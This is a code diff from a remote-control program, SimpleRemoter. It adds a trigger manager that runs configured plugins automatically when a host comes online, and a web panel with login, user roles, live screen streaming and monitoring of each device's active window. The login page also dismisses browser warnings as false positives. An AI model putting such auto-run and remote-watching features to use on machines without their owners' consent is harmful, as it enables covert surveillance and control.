TriggerManager::TriggerManager() : m_bLoaded(false)
{
InitializeCriticalSection(&m_cs);
}
TriggerManager::~TriggerManager()
{
DeleteCriticalSection(&m_cs);
}
void TriggerManager::LoadFromDisk()
{
// 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE) {
for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name);
}
}
}
m_bLoaded = true;
}
void TriggerManager::Reload()
{
EnterCriticalSection(&m_cs);
LoadFromDisk();
LeaveCriticalSection(&m_cs);
}
bool TriggerManager::HasOnlineTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_OnlinePlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetOnlinePlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_OnlinePlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}

View File

@@ -0,0 +1,99 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include <vector>
#include <string>
#include <set>
// 前向声明
struct DllInfo;
// 触发器类型
enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线
// 后续可扩展更多类型
};
// 触发器配置
struct TriggerConfig {
TriggerType Type; // 触发类型
std::vector<std::string> PluginNames; // 要执行的插件名称列表
TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {}
};
// 触发器管理器(单例,线程安全,缓存配置)
class TriggerManager {
public:
static TriggerManager& Instance() {
static TriggerManager instance;
return instance;
}
// 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins();
// 重新加载配置(保存后调用)
void Reload();
// 检查是否有上线触发器
bool HasOnlineTrigger();
private:
TriggerManager();
~TriggerManager();
TriggerManager(const TriggerManager&) = delete;
TriggerManager& operator=(const TriggerManager&) = delete;
void LoadFromDisk();
CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
bool m_bLoaded;
};
// 触发器设置对话框
class CTriggerSettingsDlg : public CDialogLangEx
{
public:
CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CTriggerSettingsDlg();
enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS };
// 静态方法:加载触发器配置
static std::vector<TriggerConfig> LoadTriggerConfigs();
// 静态方法:保存触发器配置
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitControls();
void LoadPluginsToList();
void LoadTriggersToList();
void UpdateTriggerDisplay();
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<TriggerConfig> m_Configs; // 触发器配置列表
// 控件变量
CComboBox m_comboTriggerType;
CListCtrl m_listPlugins;
CListCtrl m_listTriggers;
};

View File

@@ -44,7 +44,7 @@
// 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.1"
#define BRAND_VERSION "1.3.3"
// 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染)

View File

@@ -22,6 +22,7 @@ inline std::string GetWebPageHTML() {
<meta name="mobile-web-app-capable" content="yes">
<meta name="theme-color" content="#1a1a2e">
<link rel="manifest" href="/manifest.json">
<link rel="icon" type="image/png" href="data:image/png;base64,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">
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
@@ -74,7 +75,7 @@ inline std::string GetWebPageHTML() {
box-shadow: 0 0 0 3px rgba(233, 69, 96, 0.2);
}
.login-form input::placeholder { color: #666; }
.login-form button {
.login-form > button {
width: 100%;
padding: 14px;
border: none;
@@ -88,12 +89,80 @@ inline std::string GetWebPageHTML() {
text-transform: uppercase;
letter-spacing: 1px;
}
.login-form button:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(233, 69, 96, 0.4); }
.login-form button:disabled { background: #444; cursor: not-allowed; transform: none; box-shadow: none; }
.login-form > button:hover { transform: translateY(-2px); box-shadow: 0 4px 15px rgba(233, 69, 96, 0.4); }
.login-form > button:disabled { background: #444; cursor: not-allowed; transform: none; box-shadow: none; }
.error-msg { color: #e94560; text-align: center; margin-top: 16px; font-size: 14px; }
.conn-status { text-align: center; margin-bottom: 20px; font-size: 13px; color: #666; }
.conn-status.connected { color: #4caf50; }
.conn-status.disconnected { color: #f44336; }
/* Password input with toggle */
.password-wrapper {
position: relative;
width: 100%;
margin-bottom: 16px;
}
.password-wrapper input {
margin-bottom: 0;
padding-right: 48px;
}
.password-toggle {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
background: none;
border: none;
color: #888;
cursor: pointer;
padding: 0;
width: 24px;
height: 24px;
font-size: 16px;
line-height: 24px;
text-align: center;
transition: color 0.2s;
opacity: 0.6;
display: flex;
align-items: center;
justify-content: center;
}
.password-toggle:hover { color: #e94560; opacity: 1; }
/* Login footer */
.login-footer {
margin-top: 24px;
padding-top: 20px;
border-top: 1px solid rgba(255,255,255,0.1);
}
.security-notice {
background: rgba(255,152,0,0.1);
border: 1px solid rgba(255,152,0,0.3);
border-radius: 8px;
padding: 12px;
margin-bottom: 16px;
font-size: 12px;
color: #ccc;
line-height: 1.5;
}
.security-notice strong {
color: #ff9800;
display: block;
margin-bottom: 4px;
}
.login-links {
display: flex;
justify-content: center;
gap: 24px;
font-size: 13px;
}
.login-links a {
color: #e94560;
text-decoration: none;
display: flex;
align-items: center;
gap: 6px;
transition: color 0.2s;
}
.login-links a:hover { color: #ff6b8a; }
)HTML";
// Part 2: Device page styles
@@ -206,6 +275,118 @@ inline std::string GetWebPageHTML() {
margin-left: 10px;
}
.logout-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); }
.users-btn {
padding: 10px 20px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #9b59b6 0%, #8e44ad 100%);
color: #fff;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s;
margin-left: 10px;
display: none;
}
.users-btn.visible { display: inline-block; }
.users-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(142, 68, 173, 0.4); }
/* User Management Modal */
.modal-overlay {
display: none;
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: rgba(0,0,0,0.7);
z-index: 1000;
align-items: center;
justify-content: center;
}
.modal-overlay.active { display: flex; }
.modal-content {
background: rgba(22, 33, 62, 0.98);
border-radius: 16px;
padding: 24px;
width: 90%;
max-width: 500px;
max-height: 80vh;
overflow-y: auto;
box-shadow: 0 8px 32px rgba(0,0,0,0.5);
border: 1px solid rgba(233, 69, 96, 0.2);
}
.modal-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 16px;
border-bottom: 1px solid rgba(255,255,255,0.1);
}
.modal-header h3 { color: #e94560; margin: 0; }
.modal-close {
background: none;
border: none;
color: #888;
font-size: 24px;
cursor: pointer;
padding: 0;
line-height: 1;
}
.modal-close:hover { color: #e94560; }
.user-form { margin-bottom: 24px; }
.user-form h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
.user-form input, .user-form select {
width: 100%;
padding: 10px 12px;
margin-bottom: 12px;
border: 1px solid rgba(255,255,255,0.1);
border-radius: 8px;
background: rgba(15, 52, 96, 0.8);
color: #fff;
font-size: 14px;
}
.user-form input:focus, .user-form select:focus {
outline: none;
border-color: #e94560;
}
.user-form button {
width: 100%;
padding: 12px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #27ae60 0%, #2ecc71 100%);
color: #fff;
font-weight: 600;
cursor: pointer;
transition: all 0.3s;
}
.user-form button:hover { transform: translateY(-1px); }
.user-list h4 { color: #ccc; margin-bottom: 12px; font-size: 14px; }
.user-item {
display: flex;
justify-content: space-between;
align-items: center;
padding: 12px;
background: rgba(15, 52, 96, 0.5);
border-radius: 8px;
margin-bottom: 8px;
}
.user-item .user-info { flex: 1; }
.user-item .username { color: #fff; font-weight: 500; }
.user-item .role { color: #888; font-size: 12px; }
.user-item .role.admin { color: #e94560; }
.user-item .delete-btn {
background: rgba(231, 76, 60, 0.2);
border: 1px solid rgba(231, 76, 60, 0.5);
color: #e74c3c;
padding: 6px 12px;
border-radius: 6px;
cursor: pointer;
font-size: 12px;
}
.user-item .delete-btn:hover { background: rgba(231, 76, 60, 0.4); }
.user-item .delete-btn:disabled { opacity: 0.5; cursor: not-allowed; }
.user-msg { padding: 10px; border-radius: 6px; margin-bottom: 12px; font-size: 13px; }
.user-msg.success { background: rgba(39, 174, 96, 0.2); color: #2ecc71; }
.user-msg.error { background: rgba(231, 76, 60, 0.2); color: #e74c3c; }
)HTML";
// Part 3: Device card styles
@@ -267,6 +448,9 @@ inline std::string GetWebPageHTML() {
white-space: nowrap; overflow: hidden; text-overflow: ellipsis;
max-width: 100%; opacity: 0.8;
}
.device-card .active-window.busy {
color: #e94560; opacity: 1; font-weight: 500;
}
.device-card .meta-row { display: flex; gap: 12px; margin-top: 6px; font-size: 12px; color: #666; }
.device-card .meta-item { display: flex; align-items: center; gap: 4px; }
.device-card .meta-item.rtt { font-weight: 500; }
@@ -711,9 +895,22 @@ inline std::string GetWebPageHTML() {
<h1>SimpleRemoter</h1>
<div id="ws-status" class="conn-status disconnected">Connecting...</div>
<input type="text" id="username" placeholder="Username" value="admin">
<input type="password" id="password" placeholder="Password">
<div class="password-wrapper">
<input type="password" id="password" placeholder="Password">
<button type="button" class="password-toggle" onclick="togglePasswordVisibility()" title="Show/Hide Password">&#x1F441;</button>
</div>
<button id="login-btn" onclick="login()" disabled>Login</button>
<div id="login-error" class="error-msg"></div>
<div class="login-footer">
<div class="security-notice">
<strong>&#x26A0; Security Notice</strong>
SimpleRemoter.com may be flagged as "dangerous" by browsers due to the word "Remote" in its name. This is a false positive. The software is fully open-source and safe to use.
</div>
<div class="login-links">
<a href="https://simpleremoter.com/" target="_blank">&#x1F310; Website</a>
<a href="https://git.simpleremoter.com/" target="_blank">&#x1F4E6; Source Code</a>
</div>
</div>
</div>
</div>
<div id="devices-page" class="page">
@@ -729,6 +926,7 @@ inline std::string GetWebPageHTML() {
<button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button>
</div>
<button class="refresh-btn" onclick="getDevices()">Refresh</button>
<button class="users-btn" id="users-btn" onclick="openUsersModal()">Users</button>
<button class="logout-btn" onclick="logout()">Logout</button>
</div>
</div>
@@ -772,6 +970,7 @@ inline std::string GetWebPageHTML() {
<button class="shortcut-btn" data-key="190" tabindex="-1">.</button>
<button class="shortcut-btn" data-key="188" tabindex="-1">,</button>
<button class="shortcut-btn" data-key="191" data-shift="1" tabindex="-1">?</button>
<button class="shortcut-btn" data-key="32" data-ctrl="1" tabindex="-1" title="Ctrl+Space">&#x4E2D;</button>
</div>
</div>
<div class="touch-indicator" id="touch-indicator"></div>
@@ -785,6 +984,35 @@ inline std::string GetWebPageHTML() {
<div class="zoom-indicator" id="zoom-indicator">100%</div>
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
</div>
<!-- User Management Modal -->
<div class="modal-overlay" id="users-modal">
<div class="modal-content">
<div class="modal-header">
<h3>User Management</h3>
<button class="modal-close" onclick="closeUsersModal()">&times;</button>
</div>
<div id="user-msg"></div>
<div class="user-form">
<h4>Create New User</h4>
<input type="text" id="new-username" placeholder="Username" autocomplete="off">
<input type="password" id="new-password" placeholder="Password" autocomplete="new-password">
<select id="new-role" onchange="onRoleChange()">
<option value="viewer">Viewer (read-only)</option>
<option value="admin">Admin (full access)</option>
</select>
<div class="groups-section" id="groups-section">
<label style="font-size:13px;color:#aaa;display:block;margin:8px 0 4px;">Allowed Groups:</label>
<div id="groups-checkboxes" style="max-height:120px;overflow-y:auto;background:rgba(0,0,0,0.2);border-radius:6px;padding:6px 8px;"></div>
</div>
<button onclick="createUser()">Create User</button>
</div>
<div class="user-list">
<h4>Existing Users</h4>
<div id="users-list"></div>
</div>
</div>
</div>
)HTML";
// Part 7: JavaScript - State and WebSocket
@@ -903,8 +1131,16 @@ inline std::string GetWebPageHTML() {
startPingInterval();
// Auto-restore session if token exists
if (token) {
showPage('devices-page');
getDevices();
// Check if we were on screen-page with an active device
const screenPage = document.getElementById('screen-page');
if (screenPage.classList.contains('active') && currentDevice) {
// Reconnect to current device
updateScreenStatus('connecting');
ws.send(JSON.stringify({ cmd: 'connect', id: String(currentDevice.id), token }));
} else {
showPage('devices-page');
getDevices();
}
}
};
ws.onclose = () => { stopPingInterval(); updateWsStatus('disconnected'); scheduleReconnect(); };
@@ -936,11 +1172,28 @@ inline std::string GetWebPageHTML() {
challengeNonce = msg.nonce || '';
console.log('Received challenge nonce');
break;
case 'salt':
if (msg.ok) {
completeLogin(msg.salt || '');
} else {
pendingLogin = null; // Clear pending state on error
document.getElementById('login-error').textContent = msg.msg || 'Failed to get salt';
}
break;
case 'login_result':
if (msg.ok) {
token = msg.token;
currentUserRole = msg.role || 'viewer';
sessionStorage.setItem('token', token);
sessionStorage.setItem('role', currentUserRole);
document.getElementById('login-error').textContent = '';
// Show Users button for admin only
const usersBtn = document.getElementById('users-btn');
if (currentUserRole === 'admin') {
usersBtn.classList.add('visible');
} else {
usersBtn.classList.remove('visible');
}
showPage('devices-page');
getDevices();
} else {
@@ -976,17 +1229,29 @@ inline std::string GetWebPageHTML() {
}
break;
case 'disconnect_result':
// Only navigate if authenticated
if (!token) break;
showPage('devices-page');
getDevices();
// disconnect() already handles navigation, this is just server acknowledgment
// No action needed - prevents race conditions when switching devices
break;
case 'resolution_changed':
updateScreenStatus('connected');
initDecoder(msg.width, msg.height);
break;
case 'cursor':
// Update remote cursor style (only for desktop in control mode)
currentCursorIndex = msg.index;
if (controlEnabled && !isTouchDevice) {
const canvas = document.getElementById('screen-canvas');
// 254=custom cursor (not supported in web), 255=unsupported -> default
const cssCursor = (msg.index >= 0 && msg.index < cursorMap.length)
? cursorMap[msg.index]
: 'default';
canvas.style.cursor = cssCursor;
}
break;
case 'device_offline':
// Only handle if this is the device we're currently viewing
if (!token) break;
if (!currentDevice || String(msg.id) !== String(currentDevice.id)) break;
updateScreenStatus('error', 'Device offline');
setTimeout(() => { showPage('devices-page'); getDevices(); }, 2000);
break;
@@ -1002,6 +1267,34 @@ inline std::string GetWebPageHTML() {
getDevices();
}
break;
case 'create_user_result':
if (msg.ok) {
showUserMsg('User created successfully', false);
document.getElementById('new-username').value = '';
document.getElementById('new-password').value = '';
listUsers();
} else {
showUserMsg(msg.msg || 'Failed to create user', true);
}
break;
case 'delete_user_result':
if (msg.ok) {
showUserMsg('User deleted', false);
listUsers();
} else {
showUserMsg(msg.msg || 'Failed to delete user', true);
}
break;
case 'list_users_result':
if (msg.ok) {
renderUsersList(msg.users);
}
break;
case 'groups':
if (msg.ok) {
renderGroupsCheckboxes(msg.groups);
}
break;
}
}
)HTML";
@@ -1014,6 +1307,11 @@ inline std::string GetWebPageHTML() {
}
function initDecoder(width, height) {
decoderWidth = width;
decoderHeight = height;
needKeyframe = false;
decodeTimestamp = 0;
// Clear canvas before resizing to prevent residual content
ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform
ctx.clearRect(0, 0, canvas.width, canvas.height);
@@ -1035,6 +1333,10 @@ inline std::string GetWebPageHTML() {
lastFrameTime = performance.now();
decoder = new VideoDecoder({
output: (frame) => {
// Check if frame dimensions match canvas
if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) {
console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, canvas=${canvas.width}x${canvas.height}`);
}
ctx.drawImage(frame, 0, 0);
frame.close();
frameCount++;
@@ -1046,7 +1348,7 @@ inline std::string GetWebPageHTML() {
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
}
},
error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); }
error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
});
decoder.configure({
codec: 'avc1.42E01E',
@@ -1056,20 +1358,50 @@ inline std::string GetWebPageHTML() {
});
}
let decoderWidth = 0, decoderHeight = 0, needKeyframe = false;
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
function handleBinaryFrame(data) {
if (!decoder || decoder.state !== 'configured') return;
const view = new DataView(data);
const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4);
const dataLen = view.getUint32(5, true);
const isKeyframe = frameType === 1;
// If decoder is closed or errored, wait for keyframe to reinitialize
if (!decoder || decoder.state === 'closed') {
if (isKeyframe && decoderWidth > 0) {
console.log('Reinitializing decoder on keyframe');
initDecoder(decoderWidth, decoderHeight);
needKeyframe = false;
} else {
needKeyframe = true;
return;
}
}
if (decoder.state !== 'configured') return;
// Skip delta frames if we need a keyframe
if (needKeyframe && !isKeyframe) return;
if (isKeyframe) needKeyframe = false;
const h264Data = new Uint8Array(data, 9, dataLen);
try {
// Check decoder queue to avoid overwhelming it (but never skip keyframes)
if (!isKeyframe && decoder.decodeQueueSize > 10) {
needKeyframe = true; // Need keyframe to resync after skipping
return;
}
decoder.decode(new EncodedVideoChunk({
type: frameType === 1 ? 'key' : 'delta',
timestamp: performance.now() * 1000,
type: isKeyframe ? 'key' : 'delta',
timestamp: decodeTimestamp++,
data: h264Data
}));
} catch (e) { console.error('Decode error:', e); }
} catch (e) {
console.error('Decode error:', e);
needKeyframe = true;
}
}
)HTML";
@@ -1131,6 +1463,13 @@ inline std::string GetWebPageHTML() {
return 'rtt-poor'; // Red: > 300ms
}
function isWindowBusy(activeWindow) {
if (!activeWindow || activeWindow.trim() === '') return false;
const lower = activeWindow.toLowerCase();
if (lower.includes('locked') || lower.includes('inactive')) return false;
return true;
}
function updateDeviceInfo(deviceId, rtt, activeWindow) {
// Update device in array
const device = devices.find(d => d.id === deviceId || d.id === String(deviceId));
@@ -1168,6 +1507,7 @@ inline std::string GetWebPageHTML() {
}
winEl.textContent = activeWindow;
winEl.title = activeWindow;
winEl.className = 'active-window' + (isWindowBusy(activeWindow) ? ' busy' : '');
} else if (winEl) {
winEl.remove();
}
@@ -1213,7 +1553,7 @@ inline std::string GetWebPageHTML() {
'<span class="meta-item">Ver: ' + escapeHtml(ver) + '</span>' +
'<span class="meta-item">' + screenInfo + '</span>' +
'</div>' +
(activeWin ? '<div class="active-window" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
(activeWin ? '<div class="active-window' + (isWindowBusy(activeWin) ? ' busy' : '') + '" title="' + escapeHtml(activeWin) + '">' + escapeHtml(activeWin) + '</div>' : '') +
'</div>';
}).join('');
}
@@ -1269,6 +1609,21 @@ inline std::string GetWebPageHTML() {
else el.textContent = msg || 'Error';
}
function togglePasswordVisibility() {
const input = document.getElementById('password');
const btn = document.querySelector('.password-toggle');
if (input.type === 'password') {
input.type = 'text';
btn.innerHTML = '&#x1F440;'; // Eyes
} else {
input.type = 'password';
btn.innerHTML = '&#x1F441;'; // Eye
}
}
// Pending login state for salt-based auth
let pendingLogin = null;
async function login() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
@@ -1276,8 +1631,18 @@ inline std::string GetWebPageHTML() {
if (!ws || ws.readyState !== WebSocket.OPEN) { document.getElementById('login-error').textContent = 'Not connected'; return; }
if (!challengeNonce) { document.getElementById('login-error').textContent = 'No challenge received'; return; }
// Compute password hash (same as server stores)
passwordHash = await sha256(password);
// Store pending login info and request salt first
pendingLogin = { username, password };
ws.send(JSON.stringify({ cmd: 'get_salt', username }));
}
async function completeLogin(salt) {
if (!pendingLogin) return;
const { username, password } = pendingLogin;
pendingLogin = null;
// Compute password hash with salt: SHA256(password + salt)
passwordHash = await sha256(password + salt);
// Compute response: SHA256(passwordHash + nonce)
const response = await sha256(passwordHash + challengeNonce);
ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce }));
@@ -1295,6 +1660,111 @@ inline std::string GetWebPageHTML() {
sessionStorage.removeItem('token');
devices = [];
showPage('login-page');
// Hide users button
document.getElementById('users-btn').classList.remove('visible');
}
// User Management Functions
let currentUserRole = 'viewer';
function openUsersModal() {
document.getElementById('users-modal').classList.add('active');
document.getElementById('user-msg').innerHTML = '';
document.getElementById('new-role').value = 'viewer'; // Reset to default
onRoleChange(); // Update groups section visibility
listUsers();
getGroups();
}
function getGroups() {
